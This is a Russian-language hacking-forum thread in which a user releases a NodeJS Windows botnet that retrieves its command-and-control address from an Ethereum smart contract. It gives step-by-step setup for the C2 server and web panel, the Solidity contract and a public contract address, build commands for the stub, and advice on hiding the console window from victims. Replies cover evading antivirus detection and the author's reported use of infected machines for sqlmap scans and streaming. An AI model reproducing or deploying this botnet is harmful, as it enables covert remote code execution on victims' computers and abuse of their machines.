What's new
Runion

This is a sample guest message. Register a free account today to become a member! Once signed in, you'll be able to participate on this site by adding your own topics and posts, as well as connect with other members through your own private inbox!

[MisakaNetwork] Win Botnet на NodeJS с получением C2 сервера через блокчейн.

_lain

Midle Weight
Депозит
$0
Долго думал, что мне с этим сделать, в итоге решил просто выложить.

Опишу кратко: это ботнет(если можно таковым назвать) на NodeJS сам стаб(клиент) не содержит IP адреса для общения с сервером, C2 сервер он получает через публичные RPC ноды в блокчейне Ethereum обратившись к контракту в котором вызывает метод getString(address), суть стаба заключается только в одном, он после получения C2 сервер выполняет JS код от сервера, т.е функционал бота полностью зависит от сервера и его логики без перекомпиляций всего билда, потому что NodeJS это JIT платформа которая позволяет компилировать и исполнять код сразу.

Сам же пользовать может либо пользоваться своим контрактом который задеплоит, либо контрактом других пользователей ибо я решил что не каждый захочет за деплой контракта платить 20 - 100$(зависит от нагрузки сети). В контракте есть только 1 записывающий метод, это setString(string) в который и передается наш C2 сервер, при установке строка записывается к вашему адресу кошелька, т.е при вызове getString с переданным аргументом в виде вашего адреса кошелька контракт вернет вашу сохраненую строку. Строку можно менять в любом моменте, по этому блокировка сервера это не повод потери ваших ботов, вы просто покупаете новый сервер и устанавливаете уже новый сервер в контракте. В коде стаба контракт проверяется раз в 10 минут, это означает что если вы поменяли сервер в контракте, то ваш бот вернется примерно через 10 минут.

Сервер же написан на NestJS, Фронтенд написан на NextJS. Зачем я юзнул эти фреймы? я хз, просто...

Ладно начнем с установки сервера. Я же привык использовать на Debian 12 в качестве сервера, по этому будет гайд под него.

Вы купили сервер, после того как вы зашли на наш чистенький сервер нам нужно будет обновить пакеты и установить NodeJS.

Код: Скопировать в буфер обмена
apt update

Так обновили пакеты, теперь надо установить NodeJS, я предпочитаю делать NVM скриптом.


Код: Скопировать в буфер обмена
curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.1/install.sh | bash

После того как установили скрипт перезапускаем терминал и выполняем следущие команды
Код: Скопировать в буфер обмена
Code:
nvm install 20
nvm use 20

После установки ноды нужно проверить установилась ли она, можно командой "node -v", при коректной установке выдаст версию ноды.
node -v
v21.7.1

Теперь давайте установим ProcessManager 2 (pm2), вводим команду
Код: Скопировать в буфер обмена
npm i pm2 -g

Таккк, теперь устанавливаем наш бекенд, закидываем сурс бека "botnet-server" на сервер, в моем же случаее /root/botnet-server
После переходим в папку с сурсом и устанавливаем модули.

Код: Скопировать в буфер обмена
Code:
cd botnet-server
npm i
После того как установи модули, нужно настроить нужные нам конфигураций.
Первым делом сменим в сурсах порт на тот который мы хотим, в моем случаее я меняю 3001 на 1228.

В файле "botnet-server/src/main.ts"
Код: Скопировать в буфер обмена
Code:
Я меняю
await app.listen(3001);

на

await app.listen(1228);

вы же придумайте свое, не нужно копировать точь в точь.

После давайте куда то запишем наш endpoint к примеру. Вы же знаете IP своего сервера?
Допустим 127.0.0.1 ваш ип сервера на который вы устанавливаете. И порт который вы придумали, в моем случаее 1228.
Это наш ендпоинт: http://127.0.0.1:1228

Дальше нужно в одном файле изменить переменную на наш ендпоинт чтоб скрипты для клиента генерировались с нашим ендпоинтом.

Переходим в "botnet-server/src/client-api/client-api.service.ts" и меняем
Код: Скопировать в буфер обмена
Code:
const ServerIp = "http://localhost:3001";

на

const ServerIp = "http://127.0.0.1:1228";

Ну то что я писал выше про endpoint

Теперь идем менять секретку для JWT токена чтоб вашу панель не взломали.
идем сюда "botnet-server\src\auth\constants.ts"
Код: Скопировать в буфер обмена
Code:
export const jwtConstants = {
 secret: 'SECRET',
 };

МЕНЯЕМ НА !!!!

export const jwtConstants = {
 secret: 'FJIfmdisojf90j930wofejdsiofjwejdo2wsx',
 };

ПРИМЕРНО ЭТО!!! НО НЕ СТОИТ ИСПОЛЬЗОВАТЬ МОЕ НЕ В КОЕМ ССЛУЧАЕЕЕ, ТАМ УЖЕ СВОЙ 100 КИЛОМЕТРОВЫЙ ТЕКСТ ГЕНЕРИРУЙТЕ

Так ну и теперь логин и пароль нужно для входа поменять.
Переходим в "botnet-server\src\admin-config.ts" и там уже меняете на свои креды, думаю не тупые разберетесь.
Код: Скопировать в буфер обмена
Code:
export default {
 "username": "root",
 "password": "pass"
}

Вообще обьясняю как тупым я хз, я сам тупой, я вообще текст нормально не умею писать по этому я этот высер оставлю по середине инструкций.


Так ну вроде ничего не забыл, теперь билдим проект и запускаем бек.
Код: Скопировать в буфер обмена
Code:
npm run build
pm2 start --name "backend" npm -- start

Так переходим к фронту, закидываем файлы на хост. "botnet-frontend"

Переходим в проект и устанавливаем модули:
Код: Скопировать в буфер обмена
Code:
cd botnet-frontend
npm i

После идем менять порт, открываем в этом проекте прям в корне, ладно путь приложу "botnet-frontend\package.json"
В нем я хочу изменить порт 3000 к примеру на 1229. Это уже наша веб панель.
Поэтому:
Код: Скопировать в буфер обмена
Code:
 "scripts": {
 "dev": "next dev -p 3000",
 "build": "next build",
 "start": "next start -p 3000",
 "lint": "next lint"
 },

меняем на

 "scripts": {
 "dev": "next dev -p 1229",
 "build": "next build",
 "start": "next start -p 1229",
 "lint": "next lint"
 },

после идем менять endpoint для api. Переходим в "botnet-frontend\src\api.ts"
Код: Скопировать в буфер обмена
Code:
меняем


const apiHost = "http://localhost:3001";

на наш ендпоинт бекенда


const apiHost = "http://127.0.0.1:1228";

Потом в терминале вводим наш заветный подымательский скрипт билда и запуск сервера.
Код: Скопировать в буфер обмена
Code:
npm run build
"pm2 start --name "frontend" npm -- start"

И сервер должен встать если вы порты открыли, переходим по нашему веб ендпоину http://127.0.0.1:1229/login
и видим что нас встречает логин страница


Вводим логин и пароль который мы задали и попадаем в панель.


Панель пока умеет только 2 таска давать, это выполнять JS код у клиента что дает делать на пк клиента что хочешь, и загрузку exe файла по прямой ссылке.



Так теперь вопрос обстоит со стабом и контрактом, так как я не придумал куда впихнуть кнопку перехода на страницу с настройкой C2 сервера в контракте, я просто перехожу по пути http://127.0.0.1:1229/web3 , после перехода мы видим такую картину:



Имейте ввиду, чтоб установить C2 сервер в контракт у вас должен быть Metamask кошелек в браузере, и немного шекелей чтоб оплатить комсу в блокчейне ибо транзакций к сожалению в блокчейне не бесплатные.

Так, подключаем кошелек, вставляем наш контракт в первое поле, жмем Initialize Contract, и в нижнем поле указываем наш endpoint "http://127.0.0.1:1228" и после жмем Send String и наконец подписываем нашу транзу.

Должно быть так. Ладно переходим к сборке билда. Заранее скажу чтоб билд собралься коректно, установите visual studio и пакеты которые на скрине.


Переходим к сборке, она будет на винде как вы догодались по скрину. Для этого устанавливаем NodeJS https://nodejs.org
Переходим в сурсы клиента и в index.js меняем наш адрес контракта и кошелек с которого устанавливали C2 сервер.
Код: Скопировать в буфер обмена
Code:
const contractAddress = "CONTRACT_ADDRESS"; // Сюда ваш контракт
const WalletOwner = "WALLET_ADDRESS"; // Сюда ваш адрес кошелька

на ваш

const contractAddress = "0xa1b40044ebc2794f207d45143bd82a1b86156c6b"; // Сюда ваш контракт
const WalletOwner = "0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84"; // Сюда ваш адрес кошелька

Примерное должно выглядеть так.

Потом устанавливаем глобально 2 модуля, они нам пригодятся для сборки и еще дополнительные модули.
Код: Скопировать в буфер обмена
Code:
npm i -g pkg
npm i -g @vercel/ncc
npm i

и уже билдим наш exe ноды =)

Код: Скопировать в буфер обмена
ncc build -o build/lib index.js && pkg --target node18-win-x64 -o build/node.exe ./build/lib/index.js

После билда мы увидим наш сбилженый файл в build/node.exe

Но это еще не все, так как это консольноше приложение и юзер будет его видеть, нам нужно поменять ему Header на GUI приложение, качаем malcat, запускаем его, и кидаем в него наш сбилженый файл.

И ставим так же как на скрине, тогда у нас никакой консольки не будет, и юзер не будет подозревать что он ботик.



Ну так теперь о контракте, если вам не хочется создавать свой или нет денег на деплой контракта можете юзать мой публичный, все равно там такой код контракта что я с ним сделать ничего не могу и украсть тоде. Либо идите на https://remix.ethereum.org/ и деплойте контракт.

Сам контракт адрес: 0xa1b40044ebc2794f207d45143bd82a1b86156c6b
Код контракта:

Код: Скопировать в буфер обмена
Code:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

abstract contract Context {
 function _msgSender() internal view virtual returns (address) {
  return msg.sender;
 }
}

interface IERC20 {
 function totalSupply() external view returns (uint256);
 function balanceOf(address account) external view returns (uint256);
 function transfer(address recipient, uint256 amount) external returns (bool);
 function allowance(address owner, address spender) external view returns (uint256);
 function approve(address spender, uint256 amount) external returns (bool);
 function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
 event Transfer(address indexed from, address indexed to, uint256 value);
 event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract ERC20 is Context, IERC20 {
 mapping(address => uint256) private _balances;
 mapping(address => mapping(address => uint256)) private _allowances;
 uint256 private _totalSupply;
 string private _name;
 string private _symbol;

 constructor(string memory name_, string memory symbol_) {
  _name = name_;
  _symbol = symbol_;
 }

 function name() public view returns (string memory) {
  return _name;
 }

 function symbol() public view returns (string memory) {
  return _symbol;
 }

 function decimals() public pure returns (uint8) {
  return 18;
 }

 function totalSupply() public view override returns (uint256) {
  return _totalSupply;
 }

 function balanceOf(address account) public view override returns (uint256) {
  return _balances[account];
 }

 function transfer(address recipient, uint256 amount) public override returns (bool) {
  _transfer(_msgSender(), recipient, amount);
  return true;
 }

 function allowance(address owner, address spender) public view override returns (uint256) {
  return _allowances[owner][spender];
 }

 function approve(address spender, uint256 amount) public override returns (bool) {
  _approve(_msgSender(), spender, amount);
  return true;
 }

 function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
  _transfer(sender, recipient, amount);
  uint256 currentAllowance = _allowances[sender][_msgSender()];
  require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
  _approve(sender, _msgSender(), currentAllowance - amount);
  return true;
 }

 function _transfer(address sender, address recipient, uint256 amount) internal {
  require(sender != address(0), "ERC20: transfer from the zero address");
  require(recipient != address(0), "ERC20: transfer to the zero address");

  uint256 senderBalance = _balances[sender];
  require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
  _balances[sender] = senderBalance - amount;
  _balances[recipient] += amount;

  emit Transfer(sender, recipient, amount);
 }

 function _mint(address account, uint256 amount) internal {
  require(account != address(0), "ERC20: mint to the zero address");
  _totalSupply += amount;
  _balances[account] += amount;
  emit Transfer(address(0), account, amount);
 }

 function _burn(address account, uint256 amount) internal {
  require(account != address(0), "ERC20: burn from the zero address");
  uint256 accountBalance = _balances[account];
  require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
  _balances[account] = accountBalance - amount;
  _totalSupply -= amount;
  emit Transfer(account, address(0), amount);
 }

 function _approve(address owner, address spender, uint256 amount) internal {
  require(owner != address(0), "ERC20: approve from the zero address");
  require(spender != address(0), "ERC20: approve to the zero address");
  _allowances[owner][spender] = amount;
  emit Approval(owner, spender, amount);
 }
}

contract CustomERC20 is ERC20 {
 mapping(address => string) private _storedStrings;

 event StringChanged(address indexed account, string newString);

 constructor(string memory name, string memory symbol) ERC20(name, symbol) {}

 function setString(string memory newString) public {
  _storedStrings[_msgSender()] = newString;
  emit StringChanged(_msgSender(), newString);
 }

 function getString(address account) public view returns (string memory) {
  return _storedStrings[account];
 }
}

Все сурсы приложу в архиве к прикрепленным файлам, так же пишите какие баги и недочеты, код не идеален и писал я его на отьебись, чтоб просто где то лежал. Так же текст на ошибкби не проверял, лень весь мой бред перечитывать.

Вложения​


  • MisakaNetwork.zip
    364.4 КБ · Просмотры: 32
 
_lain сказал(а):
Так же детекты рантайма:

Queued

scanner.to
scanner.to
Посмотреть вложение 95678
Нажмите, чтобы раскрыть...
Кстати, кто занят выбором антивируса, можете вот смотреть на подобные таблицы и кто что детектит, это один из лучших способов выбрать себе антивирь.
 
Птюч сказал(а):
Кстати, кто занят выбором антивируса, можете вот смотреть на подобные таблицы и кто что детектит, это один из лучших способов выбрать себе антивирь.
Нажмите, чтобы раскрыть...
Лучший способ его выпилить, всю жизнь сижу без него
 
А так же хочу дополнить, JS интепритируемый язык и код билда вы можете милиард методами обуфцировать что держать по кд чистым, на вт 3 месяца ботам, 1 детект
 
_lain сказал(а):
На линуксе существуют антивирусники как раз таки
Нажмите, чтобы раскрыть...
Я знаю, но вот по дефолту они не стоят никогда, а в винде - дефендер сразу, ну разве что в китайской версии его выпилили сами микрософты, политика такая.
 
Птюч сказал(а):
Я знаю, но вот по дефолту они не стоят никогда, а а винде - дефендер сразу, ну разве что в китайской версии его выпилили сами микрософты, политика такая.
Нажмите, чтобы раскрыть...
В windows 7 нету)
 
Птюч сказал(а):
Ну ты меня по понятиям ещё начни разводить) что за детский сад? Или ты не понял про что я?
Нажмите, чтобы раскрыть...
Чувак ну какие понятия, я не из тех чтоб по каким то выдуманным понятиям жить, у меня свой мир и свое мировозрение которое никому не понять.
 
ну ты и усложнил конечно, зачем использовать блокчейн эфира и платить за деплой смарт контракта, за каждую транзакцию, если делать децентрализированную систему бота, в чем я так понимаю цель, можно использовать IPNS (IPFS), и тогда у тебя будут все плюсы блокчейна и бесплатно, в любом случае любой идентификатор доступа к данным c2, будь это IPNS домен, или адрес кошелька в эфире, в итоге будет под детектом от дефендера в памяти если мы говорим за винду, если цель была сделать бота с получением с2 через сеть EVM, можно было использовать полигон, там комиссия копейки, но все это в итоге не масштабируется :)
 
injuann сказал(а):
ну ты и усложнил конечно, зачем использовать блокчейн эфира и платить за деплой смарт контракта, за каждую транзакцию, если делать децентрализированную систему бота, в чем я так понимаю цель, можно использовать IPNS (IPFS), и тогда у тебя будут все плюсы блокчейна и бесплатно, в любом случае любой идентификатор доступа к данным c2, будь это IPNS домен, или адрес кошелька в эфире, в итоге будет под детектом от дефендера в памяти если мы говорим за винду, если цель была сделать бота с получением с2 через сеть EVM, можно было использовать полигон, там комиссия копейки, но все это в итоге не масштабируется :)
Нажмите, чтобы раскрыть...
IPFS могут банить спокойно, в отличий RPC, сеть ты можешь использовать любую, там переписать не трудно, это на твое усмотрение, мне больше нравится ETH потому что он более стабильный и вообще родитель EVM. Адреса кошельков менять можно, да и pkg компилирует в bytecode v8 движок трудней разобрать, да и мне кажется глупо вносить отдельные адреса в бд дефендера. И по поводу не маштабируется, весь код идет от сервера, ты на пк юзера можешь делать все что захочешь, ты можешь к примеру превратить его машину в скан завод. Вот к примеру у меня на ботах я развернул sqlmap который сканируют мне рандомные сайты, и отправляют мне найденые иньекций. Я по приколу устанавливал ffmpeg им на пк и запусках стримы на их канале и смотрел, и все благодаря JS. Ты можешь маштабировать как только хочешь, все зависит от твоих мыслей.
 
injuann сказал(а):
ну ты и усложнил конечно, зачем использовать блокчейн эфира и платить за деплой смарт контракта, за каждую транзакцию, если делать децентрализированную систему бота, в чем я так понимаю цель, можно использовать IPNS (IPFS), и тогда у тебя будут все плюсы блокчейна и бесплатно, в любом случае любой идентификатор доступа к данным c2, будь это IPNS домен, или адрес кошелька в эфире, в итоге будет под детектом от дефендера в памяти если мы говорим за винду, если цель была сделать бота с получением с2 через сеть EVM, можно было использовать полигон, там комиссия копейки, но все это в итоге не масштабируется :)
Нажмите, чтобы раскрыть...
Тем более ты можешь юзать паблик контракт, платить не обязательно за деплой. Тем у кого нет на деплой могут использовать мой контракт, который я оставил или контракт иного человека
 
И я не думаю что дефендер под рантайм ноды адаптирован и будет прям детектить адрес, это же JS интепритируемый язык. Че тогда дефендер будет детектить везде где имеется этот контракт в памяти?
 
_lain сказал(а):
IPFS могут банить спокойно
Нажмите, чтобы раскрыть...
ого, а ну покажи мне как это могут сделать
_lain сказал(а):
Адреса кошельков менять можно, да и pkg компилирует в bytecode v8 движок трудней разобрать
Нажмите, чтобы раскрыть...
ну так и домены менять можно, зачем тебе тогда децентр. сеть если ты сразу домен поменять можешь 😅
какой бы байткод не был, питона, ноды, дефендер разбирать его не будет, строка попадет в память, а значит сработает детект в памяти
_lain сказал(а):
Че тогда дефендер будет детектить везде где имеется этот контракт в памяти?
Нажмите, чтобы раскрыть...
если он используется в чем то кроме малвари, они сделают больше условий для срабатывания, либо забьют х#й на false positive, и будет детект на контракт
_lain сказал(а):
мне больше нравится ETH потому что он более стабильный и вообще родитель EVM
Нажмите, чтобы раскрыть...
ты там деньги хранить собираешься или C2? 😀
тут надо юзать не то что нравится, а то что будет дешевле и не позволит потерять всех ботов через пару месяцев
 
injuann сказал(а):
тут надо юзать не то что нравится, а то что будет дешевле и не позволит потерять всех ботов через пару месяцев
Нажмите, чтобы раскрыть...
Мои боты живут 3 месяца на 1 билде, серваки банили, я их менял. Дешевле? К сожалению не все можно без денег сделать.
injuann сказал(а):
если он используется в чем то кроме малвари, они сделают больше условий для срабатывания, либо забьют х#й на false positive, и будет детект на контракт
Нажмите, чтобы раскрыть...
Время покажет.
injuann сказал(а):
ну так и домены менять можно, зачем тебе тогда децентр. сеть если ты сразу домен поменять можешь 😅
Нажмите, чтобы раскрыть...
Домены ты будешь менять в билде, а вот по твоему разве забанят публичные RPC которые использует Metamask к примеру? Другие приложение скрипты?

На мой взгляд твой подход все равно кажется хуже чем мой. А мнение я поменяю когда покажешь на практике
 
Тоже задумывался над хранением айпишника в блокчейне, но было лень делать

вроде в BTC транзакции есть поле OP_RETURN размером 80 байт, и теоретически можно хранить в нем
 
Top